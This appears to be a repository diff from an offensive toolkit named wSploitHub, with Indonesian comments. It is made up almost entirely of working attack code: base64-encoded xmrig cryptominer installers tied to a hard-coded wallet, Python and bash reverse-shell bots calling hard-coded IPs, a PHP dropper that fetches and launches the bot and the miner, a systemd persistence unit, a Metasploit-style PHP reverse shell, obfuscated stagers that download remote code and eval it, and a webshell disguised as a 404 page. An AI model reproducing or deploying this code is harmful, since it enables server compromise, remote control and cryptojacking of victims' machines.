ZW4oc2NyaXB0X3BhdGgsICd3JykgYXMgZjoKICAgICAgICBmLndyaXRlKHNjcmlwdF9jb250ZW50
KQogICAgb3MuY2htb2Qoc2NyaXB0X3BhdGgsIDBvNzU1KQogICAgcHJpbnQoZiJbKl0gRmlsZSBy
dW5feG1yaWcuc2ggYmVyaGFzaWwgZGlidWF0IGRpIHtkaXJlY3Rvcnl9LiIpCgpkZWYgcnVuX3Bl
cnNpc3RlbnRseSgpOgogICAgd2hpbGUgVHJ1ZToKICAgICAgICBydW5fY29tbWFuZCgpCiAgICAg
ICAgdGltZS5zbGVlcCgxKQoKaWYgX19uYW1lX18gPT0gIl9fbWFpbl9fIjoKICAgIHJ1bl9wZXJz
aXN0ZW50bHkoKQo=

48
farm/rig/rigsh Normal file
View File

@ -0,0 +1,48 @@
IyEvYmluL2Jhc2gKCiMgVVJMIHVudHVrIG1lbmd1bmR1aCB4bXJpZy50YXIuZ3oKUEFZTE9BRF9V
Ukw9Imh0dHBzOi8vZG93bmxvYWQuYzNwb29sLm9yZy94bXJpZ19zZXR1cC9yYXcvbWFzdGVyL3ht
cmlnLnRhci5neiIKCiMgRGlyZWt0b3JpIGtlcmphIHNhYXQgaW5pCkNVUlJFTlRfRElSPSQocHdk
KQpYTVJJR19QQVRIPSIkQ1VSUkVOVF9ESVIveG1yaWciClNDUklQVF9QQVRIPSIkQ1VSUkVOVF9E
SVIvcnVuX3htcmlnLnNoIgoKIyBGdW5nc2kgdW50dWsgbWVuZ3VuZHVoIGRhbiBtZW5nZWtzdHJh
ayBwYXlsb2FkCmRvd25sb2FkX2FuZF9leHRyYWN0X3BheWxvYWQoKSB7CiAgICBUQVJfRklMRT0i
JENVUlJFTlRfRElSL3htcmlnLnRhci5neiIKICAgIAogICAgaWYgY29tbWFuZCAtdiB3Z2V0ID4v
ZGV2L251bGwgMj4mMTsgdGhlbgogICAgICAgIGVjaG8gIlsqXSB3Z2V0IHRlcnNlZGlhLiBNZW5n
dW5kdWggeG1yaWcudGFyLmd6Li4uIgogICAgICAgIHdnZXQgIiRQQVlMT0FEX1VSTCIgLU8gIiRU
QVJfRklMRSIKICAgIGVsaWYgY29tbWFuZCAtdiBjdXJsID4vZGV2L251bGwgMj4mMTsgdGhlbgog
ICAgICAgIGVjaG8gIlsqXSBjdXJsIHRlcnNlZGlhLiBNZW5ndW5kdWggeG1yaWcudGFyLmd6Li4u
IgogICAgICAgIGN1cmwgLW8gIiRUQVJfRklMRSIgIiRQQVlMT0FEX1VSTCIKICAgIGVsc2UKICAg
ICAgICBlY2hvICJbIV0gVGlkYWsgYWRhIHdnZXQgYXRhdSBjdXJsIHRlcnNlZGlhIHVudHVrIG1l
bmd1bmR1aCB4bXJpZy50YXIuZ3ouIgogICAgICAgIHJldHVybiAxCiAgICBmaQogICAgCiAgICBl
Y2hvICJbKl0gTWVuZ2Vrc3RyYWsgeG1yaWcudGFyLmd6Li4uIgogICAgdGFyIC14emYgIiRUQVJf
RklMRSIgLUMgIiRDVVJSRU5UX0RJUiIKfQoKIyBGdW5nc2kgdW50dWsgbWVtYnVhdCBmaWxlIHJ1
bl94bXJpZy5zaApjcmVhdGVfcnVuX3NjcmlwdCgpIHsKICAgIGNhdCA8PEVPTCA+ICIkU0NSSVBU
X1BBVEgiCiMhL2Jpbi9iYXNoCgojIE1lbmRhcGF0a2FuIGhvc3RuYW1lIHNlcnZlcgpIT1NUTkFN
RT1cJChob3N0bmFtZSkKCiMgTWVuamFsYW5rYW4geG1yaWcgZGVuZ2FuIHBhcmFtZXRlciB5YW5n
IGRpYmVyaWthbgpub2h1cCAuL3htcmlnIC1hIHJ4IC1vIHN0cmF0dW0rc3NsOi8vcngudW5taW5l
YWJsZS5jb206NDQzIFwKICAgIC11IFVTRFQ6VFRyVnNSbkJ6akI1eEVRNTdOVFZZSmluanBubmU4
b0dYTi4iXCR7SE9TVE5BTUV9IiAtcCB4ID4geG1yaWcubG9nIDI+JjEgJgoKIyBNZW5hbXBpbGth
biBwZXNhbiBzdWtzZXMKZWNobyAieG1yaWcgYmVyamFsYW4gZGkgbGF0YXIgYmVsYWthbmcgZGVu
Z2FuIG5hbWEgd29ya2VyOiBcJHtIT1NUTkFNRX0uIExvZyBvdXRwdXQgZGlzaW1wYW4gZGkgeG1y
aWcubG9nIgpFT0wKICAgIGNobW9kICt4ICIkU0NSSVBUX1BBVEgiCiAgICBlY2hvICJbKl0gRmls
ZSBydW5feG1yaWcuc2ggYmVyaGFzaWwgZGlidWF0LiIKfQoKIyBGdW5nc2kgdW50dWsgbWVuamFs
YW5rYW4geG1yaWcKcnVuX2NvbW1hbmQoKSB7CiAgICBpZiBbWyAhIC1mICIkWE1SSUdfUEFUSCIg
fHwgISAtZiAiJFNDUklQVF9QQVRIIiBdXTsgdGhlbgogICAgICAgIGVjaG8gIlsqXSBQYXlsb2Fk
IGF0YXUgc2tyaXAgdGlkYWsgZGl0ZW11a2FuLiBNZW5ndW5kdWggZGFuIG1lbnlpYXBrYW4geG1y
aWcuLi4iCiAgICAgICAgZG93bmxvYWRfYW5kX2V4dHJhY3RfcGF5bG9hZAogICAgICAgIGNyZWF0
ZV9ydW5fc2NyaXB0CiAgICBmaQogICAgCiAgICBpZiBbWyAhIC1mICIkU0NSSVBUX1BBVEgiIF1d
OyB0aGVuCiAgICAgICAgZWNobyAiWypdIEZpbGUgcnVuX3htcmlnLnNoIHRpZGFrIGRpdGVtdWth
bi4gTWVtYnVhdCB1bGFuZy4uLiIKICAgICAgICBjcmVhdGVfcnVuX3NjcmlwdAogICAgZmkKICAg
IAogICAgYmFzaCAiJFNDUklQVF9QQVRIIgogICAgRVhJVF9DT0RFPSQ/CiAgICAKICAgIGVjaG8g
IkNvbW1hbmQgZXhlY3V0ZWQ6IGJhc2ggJFNDUklQVF9QQVRIIgogICAgZWNobyAiRXhpdCBjb2Rl
OiAkRVhJVF9DT0RFIgogICAgCiAgICBpZiBbWyAiJEVYSVRfQ09ERSIgLW5lIDAgXV07IHRoZW4K
ICAgICAgICBlY2hvICJbKl0gRXhpdCBjb2RlIG5vbi16ZXJvIGRldGVjdGVkICgkRVhJVF9DT0RF
KS4gQ2hlY2tpbmcgYWN0aXZlIHNlc3Npb24uLi4iCiAgICAgICAgCiAgICAgICAgaWYgcGdyZXAg
LWYgIi4veG1yaWciID4vZGV2L251bGwgMj4mMTsgdGhlbgogICAgICAgICAgICBlY2hvICJbKl0g
QWN0aXZlIHNlc3Npb24gZGV0ZWN0ZWQuIFNraXBwaW5nIHBheWxvYWQgZXhlY3V0aW9uLiIKICAg
ICAgICBlbHNlCiAgICAgICAgICAgIGVjaG8gIlsqXSBObyBhY3RpdmUgc2Vzc2lvbiBkZXRlY3Rl
ZC4gU3Bhd25pbmcgcGF5bG9hZC4uLiIKICAgICAgICAgICAgbm9odXAgYmFzaCAiJFNDUklQVF9Q
QVRIIiA+IC9kZXYvbnVsbCAyPiYxICYKICAgICAgICBmaQogICAgZWxzZQogICAgICAgIGVjaG8g
IlsqXSBFeGl0IGNvZGUgemVyby4gWE1SaWcgaXMgcnVubmluZyBzdWNjZXNzZnVsbHkuIgogICAg
ZmkKfQoKIyBGdW5nc2kgdW50dWsgbWVtYXN0aWthbiBza3JpcCBiZXJqYWxhbiB0ZXJ1cyBtZW5l
cnVzCnJ1bl9wZXJzaXN0ZW50bHkoKSB7CiAgICB3aGlsZSB0cnVlOyBkbwogICAgICAgIHJ1bl9j
b21tYW5kCiAgICAgICAgc2xlZXAgNjAKICAgIGRvbmUKfQoKIyBNdWxhaSBtZW5qYWxhbmthbiBw
ZXJpbnRhaCBzZWNhcmEgdGVydXMgbWVuZXJ1cwpydW5fcGVyc2lzdGVudGx5Cg==

11
farm/rig2.sh Normal file
View File

@ -0,0 +1,11 @@
# Nama file: run_xmrig.sh
# Mendapatkan hostname server
HOSTNAME=$(hostname)
# Menjalankan xmrig dengan parameter yang diberikan
nohup ./xmrig -a rx -o stratum+ssl://rx.unmineable.com:443 \
-u USDT:TTrVsRnBzjB5xEQ57NTVYJinjpnne8oGXN."${HOSTNAME}" -p x > xmrig.log 2>&1 &
# Menampilkan pesan sukses
echo "xmrig berjalan di latar belakang dengan nama worker: ${HOSTNAME}. Log output disimpan di xmrig.log"

BIN
img/lb.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 37 KiB

BIN
img/wsploit.jpeg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 183 KiB

42
payload/bot.py Normal file
View File

@ -0,0 +1,42 @@
import socket
import os
import sys
SERVER_HOST = "45.32.114.152" # Replace with server IP
SERVER_PORT = 4444
def connect_to_server(bot_name):
while True:
try:
conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
conn.connect((SERVER_HOST, SERVER_PORT))
# Send initial bot information to server
username = os.getlogin()
privilege = "root" if os.geteuid() == 0 else "user"
conn.send(f"{bot_name}|{username}|{privilege}".encode())
while True:
command = conn.recv(1024).decode()
if command.lower() == "exit":
break
try:
output = os.popen(command).read()
if not output.strip():
output = "Command executed with no output."
conn.send(output.encode())
except Exception as e:
conn.send(f"Error: {e}".encode())
conn.close()
except Exception as e:
print(f"Connection error: {e}")
pass
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python3 target.py <bot_name>")
sys.exit(1)
bot_name = sys.argv[1]
connect_to_server(bot_name)

28
payload/bot.sh Normal file
View File

@ -0,0 +1,28 @@
#!/bin/bash
#for nc
SERVER_HOST="178.63.100.123"
SERVER_PORT=14006
BOT_NAME=$(hostname)
while true; do
# Kirimkan informasi awal ke server
echo "${BOT_NAME}|$(whoami)|$(id -u -n)" | nc $SERVER_HOST $SERVER_PORT
if [ $? -eq 0 ]; then
# Masuk ke mode interaktif untuk menerima perintah
while read -r command; do
if [ "$command" = "exit" ]; then
break
fi
# Jalankan perintah dan kirim output kembali
output=$(eval "$command" 2>&1)
if [ -z "$output" ]; then
output="Command executed with no output."
fi
echo "$output" | nc $SERVER_HOST $SERVER_PORT
done < <(nc -l $SERVER_HOST $SERVER_PORT)
else
echo "Failed to connect to $SERVER_HOST:$SERVER_PORT. Retrying..."
sleep 5
fi
done

100
payload/botpay.php Normal file
View File

@ -0,0 +1,100 @@
<?php
// URL untuk mengunduh payload bot, rig, dan xmrig
// For Webshell
$bot_payload_url = "https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/payload/bot.py";
$rig_payload_url = "https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/farm/rig.sh";
$xmrig_url = "https://download.c3pool.org/xmrig_setup/raw/master/xmrig.tar.gz";
// Lokasi file yang akan disimpan
$bot_target_file = "/tmp/bot.py";
$rig_target_file = "/tmp/rig.sh";
$xmrig_tar_file = "/tmp/xmrig.tar.gz";
$xmrig_extract_dir = "/tmp/xmrig";
// Nama bot sesuai dengan URL lengkap
$bot_name = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
// Fungsi untuk mengunduh file
function download_payload($url, $file_path) {
$content = file_get_contents($url);
if ($content === false) {
die("Failed to download payload from $url\n");
}
file_put_contents($file_path, $content);
echo "Payload downloaded to $file_path\n";
}
// Fungsi untuk mengekstrak file tar.gz
function extract_tar_gz($tar_file, $extract_to) {
if (!file_exists($tar_file)) {
die("File $tar_file does not exist for extraction.\n");
}
if (!is_dir($extract_to)) {
mkdir($extract_to, 0755, true);
}
$command = "tar -xzf $tar_file -C $extract_to";
shell_exec($command);
echo "Extracted $tar_file to $extract_to\n";
}
// Fungsi untuk memberikan izin eksekusi
function make_executable($file_path) {
chmod($file_path, 0755);
echo "File $file_path made executable.\n";
}
// Periksa versi Python
function get_python_version() {
$output = shell_exec("python3 --version 2>/dev/null");
if ($output) {
return "python3";
}
$output = shell_exec("python2 --version 2>/dev/null");
if ($output) {
return "python2";
}
die("No Python interpreter found on the target system.\n");
}
// Jalankan payload bot
function execute_bot_payload($python_path, $file_path, $bot_name) {
$command = "$python_path $file_path \"$bot_name\" > /dev/null 2>&1 &";
shell_exec($command);
echo "Bot payload executed with bot name: $bot_name\n";
}
// Jalankan payload rig
function execute_rig_payload($file_path, $xmrig_dir) {
$command = "nohup $file_path $xmrig_dir > /dev/null 2>&1 &";
shell_exec($command);
echo "Rig payload executed.\n";
}
try {
// Unduh payload bot
download_payload($bot_payload_url, $bot_target_file);
// Unduh payload rig
download_payload($rig_payload_url, $rig_target_file);
// Unduh xmrig
download_payload($xmrig_url, $xmrig_tar_file);
// Ekstrak xmrig
extract_tar_gz($xmrig_tar_file, $xmrig_extract_dir);
// Berikan izin eksekusi untuk rig
make_executable($rig_target_file);
// Dapatkan interpreter Python
$python_path = get_python_version();
// Jalankan payload bot
execute_bot_payload($python_path, $bot_target_file, $bot_name);
// Jalankan payload rig dengan path xmrig
execute_rig_payload($rig_target_file, $xmrig_extract_dir);
} catch (Exception $e) {
echo "Error: " . $e->getMessage() . "\n";
}
?>

15
payload/cron.service Normal file
View File

@ -0,0 +1,15 @@
[Unit]
Description=Run bot script in background
[Service]
ExecStart=/usr/bin/python3 /etc/.sys/.sys.py $(hostname)
Restart=always
Environment=USER=%i
Environment=HOME=/home/%i
User=%i
WorkingDirectory=/home/%i
StandardOutput=journal
StandardError=journal
[Install]
WantedBy=default.target

1
payload/msf/elf/.null Normal file
View File

@ -0,0 +1 @@
Hidup ini terlalu hampa

BIN
payload/msf/elf/venom32.elf Normal file

Binary file not shown.

BIN
payload/msf/elf/venom64.elf Normal file

Binary file not shown.

1
payload/msf/payload.php Normal file
View File

@ -0,0 +1 @@
/*<?php /**/ error_reporting(0); $ip = 'synnaulaid-39785.portmap.host'; $port = 39785; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

1
payload/msf/php/null Normal file
View File

@ -0,0 +1 @@
// Mau ngapain Cik?

File diff suppressed because one or more lines are too long

21
payload/msf/php/venom.php Normal file
View File

@ -0,0 +1,21 @@
<?php
function get_contents($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
$result = curl_exec($ch);
curl_close($ch);
return $result;
}
$url = 'https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/raw/php/venom';
$encoded_code = get_contents($url);
$decoded_code = base64_decode($encoded_code);
$tempFile = tempnam(sys_get_temp_dir(), 'tmp_php_');
file_put_contents($tempFile, $decoded_code);
require_once $tempFile;
unlink($tempFile);
?>

View File

@ -0,0 +1,27 @@
import requests
import base64
import tempfile
import os
def get_contents(url):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0"
}
response = requests.get(url, headers=headers, verify=False)
return response.text if response.status_code == 200 else None
url = "https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/raw/python/prepy"
encoded_code = get_contents(url)
if encoded_code:
decoded_code = base64.b64decode(encoded_code).decode("utf-8")
with tempfile.NamedTemporaryFile(delete=False, suffix=".py") as temp_file:
temp_file.write(decoded_code.encode("utf-8"))
temp_file_path = temp_file.name
try:
exec(open(temp_file_path).read())
finally:
os.remove(temp_file_path)

View File

@ -0,0 +1,24 @@
#!/bin/bash
URL="https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/raw/python/prepy"
TEMP_FILE="$(mktemp /tmp/tmp_prepy.XXXXXX)"
# Unduh file dengan curl
if command -v curl &> /dev/null; then
curl -s -k -A "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0" "$URL" -o "$TEMP_FILE"
elif command -v wget &> /dev/null; then
wget --no-check-certificate --quiet --user-agent="Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0" "$URL" -O "$TEMP_FILE"
else
echo "Error: curl or wget not found. Please install one of them." >&2
exit 1
fi
# Decode Base64
DECODED_FILE="$(mktemp /tmp/decoded_prepy.XXXXXX)"
base64 -d "$TEMP_FILE" > "$DECODED_FILE"
rm -f "$TEMP_FILE"
# Jalankan file Python
ochmod +x "$DECODED_FILE"
python3 "$DECODED_FILE"
rm -f "$DECODED_FILE"

View File

@ -0,0 +1,31 @@
<?php
function get_contents($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
$result = curl_exec($ch);
curl_close($ch);
return $result;
}
$hashUrl = 'https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/api/v2/payloadkey';
$codeUrl = 'https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/api/v2/presisten_v2';
// $codeUrl = 'https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/raw/php/prisisten';
$keyHash = trim(get_contents($hashUrl));
if (empty($keyHash)) {
die("Die !hash key URL.\n");
}
$encoded_code = get_contents($codeUrl);
if (empty($encoded_code)) {
die("Die! enc URL.\n");
}
$decoded_code = base64_decode($encoded_code);
$clean_code = str_replace($keyHash, '', $decoded_code);
$tempFile = tempnam(sys_get_temp_dir(), 'tmp_php_');
file_put_contents($tempFile, $clean_code);
require_once $tempFile;
unlink($tempFile);
?>

View File

@ -0,0 +1 @@
exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9UMFKAzEQPW++Ym9JMA11XSsWVxDxICKC9SalZLNTDZtNQibVreK/27jFywzvzZuZxzND8DGV6HUPSXxZ04pWISxqgSnudBLJDEC2PpZjaVwZlXsDdjrnS1KkuD/UAptpWU6NVeKIV0+3D5vVy/PdzSPPOqm9c6ATYxT3bsDtrDq7rC5kNjCoII2n4o/hWd5GUD0pYNQQUv6TjUi0AIGdc2KbyZ/cuaB0z+j1PRUoI+gPVnP+Ol+Trjliy8nnu7FQWnCs41f2cK47+Z/OJpoTGEGzHIHsQPshREBkUxqyXdSZ7CArxTdFusQfTn4BD+Bk5g==')[0])))

126
raw/enroute404 Normal file
View File

@ -0,0 +1,126 @@
PD9waHAKc2Vzc2lvbl9zdGFydCgpOwoKLy8gQW1iaWwga2V5IGRhcmkgVVJMCiR2YWxpZF9rZXlf
dXJsID0gImh0dHBzOi8vZ2l0LndhcmNldXByb2plY3Qub3JnL3N5bi93U3Bsb2l0SHViL3Jhdy9i
cmFuY2gvbWFpbi9hcGkvdjEvd3NoZWxsLWtleSI7IC8vIEFQSSBLZXkKJHZhbGlkX2tleV9oYXNo
ID0gdHJpbShmaWxlX2dldF9jb250ZW50cygkdmFsaWRfa2V5X3VybCkpOyAvLyBNZW5nYW1iaWwg
aXNpIGRhcmkgVVJMCgovLyBGdW5nc2kgdW50dWsgbWVuYW1waWxrYW4gZm9ybSBsb2dpbgpmdW5j
dGlvbiBzaG93X2xvZ2luX2Zvcm0oJGVycm9yX21lc3NhZ2UgPSAnJykgewogICAgPz4KICAgIDxo
dG1sIHN0eWxlPSJoZWlnaHQ6MTAwJSI+CiAgICAgICAgPHNjcmlwdCBzcmM9ImNocm9tZS1leHRl
bnNpb246Ly9lcHBpb2NlbWhtbmxiaGpwbGNna29mY2lpZWdvbWNvbi9jb250ZW50L2xvY2F0aW9u
L2xvY2F0aW9uLmpzIiBpZD0iZXBwaW9jZW1obW5sYmhqcGxjZ2tvZmNpaWVnb21jb24iPjwvc2Ny
aXB0PjxzY3JpcHQgc3JjPSJjaHJvbWUtZXh0ZW5zaW9uOi8vZXBwaW9jZW1obW5sYmhqcGxjZ2tv
ZmNpaWVnb21jb24vbGlicy9leHRlbmQtbmF0aXZlLWhpc3RvcnktYXBpLmpzIj48L3NjcmlwdD48
c2NyaXB0IHNyYz0iY2hyb21lLWV4dGVuc2lvbjovL2VwcGlvY2VtaG1ubGJoanBsY2drb2ZjaWll
Z29tY29uL2xpYnMvcmVxdWVzdHMuanMiPjwvc2NyaXB0PjxoZWFkPgogICAgICAgIDxtZXRhIG5h
bWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9
MSwgc2hyaW5rLXRvLWZpdD1ubyI+CiAgICAgICAgPHRpdGxlPiA0MDQgTm90IEZvdW5kPC90aXRs
ZT4KICAgICAgICA8c2NyaXB0IGJpc191c2U9InRydWUiIHR5cGU9InRleHQvamF2YXNjcmlwdCIg
Y2hhcnNldD0idXRmLTgiIGRhdGEtYmlzLWNvbmZpZz0iWyZxdW90O2ZhY2Vib29rLmNvbS8mcXVv
dDssJnF1b3Q7dHdpdHRlci5jb20vJnF1b3Q7LCZxdW90O3lvdXR1YmUtbm9jb29raWUuY29tL2Vt
YmVkLyZxdW90OywmcXVvdDsvL3ZrLmNvbS8mcXVvdDssJnF1b3Q7Ly93d3cudmsuY29tLyZxdW90
OywmcXVvdDtsaW5rZWRpbi5jb20vJnF1b3Q7LCZxdW90Oy8vd3d3LmxpbmtlZGluLmNvbS8mcXVv
dDssJnF1b3Q7Ly9pbnN0YWdyYW0uY29tLyZxdW90OywmcXVvdDsvL3d3dy5pbnN0YWdyYW0uY29t
LyZxdW90OywmcXVvdDsvL3d3dy5nb29nbGUuY29tL3JlY2FwdGNoYS9hcGkyLyZxdW90OywmcXVv
dDsvL2hhbmdvdXRzLmdvb2dsZS5jb20vd2ViY2hhdC8mcXVvdDssJnF1b3Q7Ly93d3cuZ29vZ2xl
LmNvbS9jYWxlbmRhci8mcXVvdDssJnF1b3Q7Ly93d3cuZ29vZ2xlLmNvbS9tYXBzL2VtYmVkJnF1
b3Q7LCZxdW90O3Nwb3RpZnkuY29tLyZxdW90OywmcXVvdDtzb3VuZGNsb3VkLmNvbS8mcXVvdDss
JnF1b3Q7Ly9wbGF5ZXIudmltZW8uY29tLyZxdW90OywmcXVvdDsvL2Rpc3F1cy5jb20vJnF1b3Q7
LCZxdW90Oy8vdGd3aWRnZXQuY29tLyZxdW90OywmcXVvdDsvL2pzLmRyaWZ0dC5jb20vJnF1b3Q7
LCZxdW90O2ZyaWVuZHMyZm9sbG93LmNvbSZxdW90OywmcXVvdDsvd2lkZ2V0JnF1b3Q7LCZxdW90
O2xvZ2luJnF1b3Q7LCZxdW90Oy8vdmlkZW8uYmlnbWlyLm5ldC8mcXVvdDssJnF1b3Q7YmxvZ2dl
ci5jb20mcXVvdDssJnF1b3Q7Ly9zbWFydGxvY2suZ29vZ2xlLmNvbS8mcXVvdDssJnF1b3Q7Ly9r
ZWVwLmdvb2dsZS5jb20vJnF1b3Q7LCZxdW90Oy93ZWIudG9sc3RveWNvbW1lbnRzLmNvbS8mcXVv
dDssJnF1b3Q7bW96LWV4dGVuc2lvbjovLyZxdW90OywmcXVvdDtjaHJvbWUtZXh0ZW5zaW9uOi8v
JnF1b3Q7LCZxdW90Oy9hdXRoLyZxdW90OywmcXVvdDsvL2FuYWx5dGljcy5nb29nbGUuY29tLyZx
dW90OywmcXVvdDthZGNsYXJpdHkuY29tJnF1b3Q7LCZxdW90O3BhZGRsZS5jb20vY2hlY2tvdXQm
cXVvdDssJnF1b3Q7aGNhcHRjaGEuY29tJnF1b3Q7LCZxdW90O3JlY2FwdGNoYS5uZXQmcXVvdDss
JnF1b3Q7MmNhcHRjaGEuY29tJnF1b3Q7LCZxdW90O2FjY291bnRzLmdvb2dsZS5jb20mcXVvdDss
JnF1b3Q7d3d3Lmdvb2dsZS5jb20vc2hvcHBpbmcvY3VzdG9tZXJyZXZpZXdzJnF1b3Q7LCZxdW90
O2J1eS50aW55cGFzcy5jb20mcXVvdDssJnF1b3Q7Z3N0YXRpYy5jb20mcXVvdDssJnF1b3Q7c2Vj
dXJlaXIuZWJheXN0YXRpYy5jb20mcXVvdDssJnF1b3Q7ZG9jcy5nb29nbGUuY29tJnF1b3Q7LCZx
dW90O2NvbnRhY3RzLmdvb2dsZS5jb20mcXVvdDssJnF1b3Q7Z2l0aHViLmNvbSZxdW90OywmcXVv
dDttYWlsLmdvb2dsZS5jb20mcXVvdDssJnF1b3Q7Y2hhdC5nb29nbGUuY29tJnF1b3Q7LCZxdW90
O2F1ZGlvLnhwbGVlci5jb20mcXVvdDssJnF1b3Q7a2VlcGEuY29tJnF1b3Q7LCZxdW90O3N0YXRp
Yy54eC5mYmNkbi5uZXQmcXVvdDssJnF1b3Q7c2FzLnNlbGxlcmFtcC5jb20mcXVvdDssJnF1b3Q7
MXBsdXMxLnZpZGVvJnF1b3Q7LCZxdW90O2NvbnNvbGUuZ29vZ2xldGFnc2VydmljZXMuY29tJnF1
b3Q7LCZxdW90Oy8vbG5rZC5kZW1kZXgubmV0LyZxdW90OywmcXVvdDsvL3JhZGFyLmNlZGV4aXMu
Y29tLyZxdW90OywmcXVvdDsvL2xpLnByb3RlY2h0cy5uZXQvJnF1b3Q7LCZxdW90O2NoYWxsZW5n
ZXMuY2xvdWRmbGFyZS5jb20vJnF1b3Q7LCZxdW90O29ncy5nb29nbGUuY29tJnF1b3Q7XSIgc3Jj
PSJjaHJvbWUtZXh0ZW5zaW9uOi8vZXBwaW9jZW1obW5sYmhqcGxjZ2tvZmNpaWVnb21jb24vLi4v
ZXhlY3V0ZXJzL3ZpLXRyLmpzIj48L3NjcmlwdD4KICAgICAgICA8c3R5bGU+CiAgICAgICAgICAg
IEBtZWRpYSAocHJlZmVycy1jb2xvci1zY2hlbWU6ZGFyayl7Ym9keXtiYWNrZ3JvdW5kLWNvbG9y
OiMwMDAhaW1wb3J0YW50fX0KICAgICAgICAgICAgLmlucHV0a2V5IHsKICAgICAgICAgICAgICAg
IGJhY2tncm91bmQtY29sb3I6ICMwMDA7CiAgICAgICAgICAgICAgICBib3JkZXI6IDAgIzAwMDsK
ICAgICAgICAgICAgICAgIGNvbG9yOiBncmV5OwogICAgICAgICAgICB9CiAgICAgICAgICAgIC5i
dG5rZXkgewogICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzAwMDsKICAgICAgICAg
ICAgICAgIGNvbG9yOiAjMDAwOwogICAgICAgICAgICB9CiAgICAgICAgICAgIDwvc3R5bGU+CiAg
ICAgICAgPC9oZWFkPgoKICAgICAgICA8Ym9keSBzdHlsZT0iY29sb3I6ICM0NDQ7IG1hcmdpbjow
O2ZvbnQ6IG5vcm1hbCAxNHB4LzIwcHggQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZjsgaGVp
Z2h0OjEwMCU7IGJhY2tncm91bmQtY29sb3I6ICNmZmY7IiBfX3Byb2Nlc3NlZF82NDI1MmNlZC00
ZDk0LTQyNDUtYmU0My1hNjhmMDJhNGFlMjhfXz0idHJ1ZSIgYmlzX3JlZ2lzdGVyPSJXM3NpYldG
emRHVnlJanAwY25WbExDSmxlSFJsYm5OcGIyNUpaQ0k2SW1Wd2NHbHZZMlZ0YUcxdWJHSm9hbkJz
WTJkcmIyWmphV2xsWjI5dFkyOXVJaXdpWVdSaWJHOWphMlZ5VTNSaGRIVnpJanA3SWtSSlUxQk1R
VmtpT2lKbGJtRmliR1ZrSWl3aVJrRkRSVUpQVDBzaU9pSmxibUZpYkdWa0lpd2lWRmRKVkZSRlVp
STZJbVZ1WVdKc1pXUWlMQ0pTUlVSRVNWUWlPaUpsYm1GaWJHVmtJaXdpVUVsT1ZFVlNSVk5VSWpv
aVpXNWhZbXhsWkNJc0lrbE9VMVJCUjFKQlRTSTZJbVZ1WVdKc1pXUWlMQ0pNU1U1TFJVUkpUaUk2
SW1ScGMyRmliR1ZrSWl3aVEwOU9Sa2xISWpvaVpHbHpZV0pzWldRaWZTd2lkbVZ5YzJsdmJpSTZJ
akl1TUM0eE5pSXNJbk5qYjNKbElqb3lNREF4TmpCOVhRPT0iPgogICAgICAgIDxkaXYgc3R5bGU9
ImhlaWdodDphdXRvOyBtaW4taGVpZ2h0OjEwMCU7ICIgYmlzX3NraW5fY2hlY2tlZD0iMSI+ICAg
ICA8ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7IHdpZHRoOjgwMHB4OyBtYXJnaW4tbGVm
dDogLTQwMHB4OyBwb3NpdGlvbjphYnNvbHV0ZTsgdG9wOiAzMCU7IGxlZnQ6NTAlOyIgYmlzX3Nr
